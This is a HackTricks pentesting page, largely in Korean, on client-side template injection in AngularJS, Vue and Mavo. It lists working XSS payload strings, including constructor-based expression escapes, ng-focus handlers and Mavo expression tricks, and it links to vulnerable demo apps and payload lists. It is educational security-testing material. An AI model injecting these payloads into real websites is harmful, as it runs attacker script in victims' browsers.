hacktricks/pentesting-web/client-side-template-injection-csti.md

# Client Side Template Injection (CSTI)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}


## Summary

이것은 [**Server Side Template Injection**](ssti-server-side-template-injection/)과 비슷하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.

이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`을 볼 수 있고, 그렇지 않다면 원래의 `{{ 7-7 }}`를 볼 수 있습니다.

## AngularJS

AngularJS는 **`ng-app`**으로 알려진 속성을 통해 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임워크입니다. 이 지시어는 AngularJS가 HTML 콘텐츠를 처리할 수 있게 하여, 이중 중괄호 안에서 JavaScript 표현식을 실행할 수 있게 합니다.

사용자 입력이 `ng-app`으로 태그된 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용하여 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.

{% hint style="danger" %}
[**Angular 1.6에서 샌드박스가 제거되었습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
{% endhint %}

## VueJS

당신은 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)에서 **취약한 Vue** 구현을 찾을 수 있습니다.\
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)

그리고 취약한 예제의 **소스 코드**는 여기에서 확인할 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)

**더 많은 VUE 페이로드를 확인하세요** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

## Mavo

Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**더 많은 페이로드는** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

## **브루트포스 탐지 목록**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}



{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks 지원하기</summary>

* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**

</details>
{% endhint %}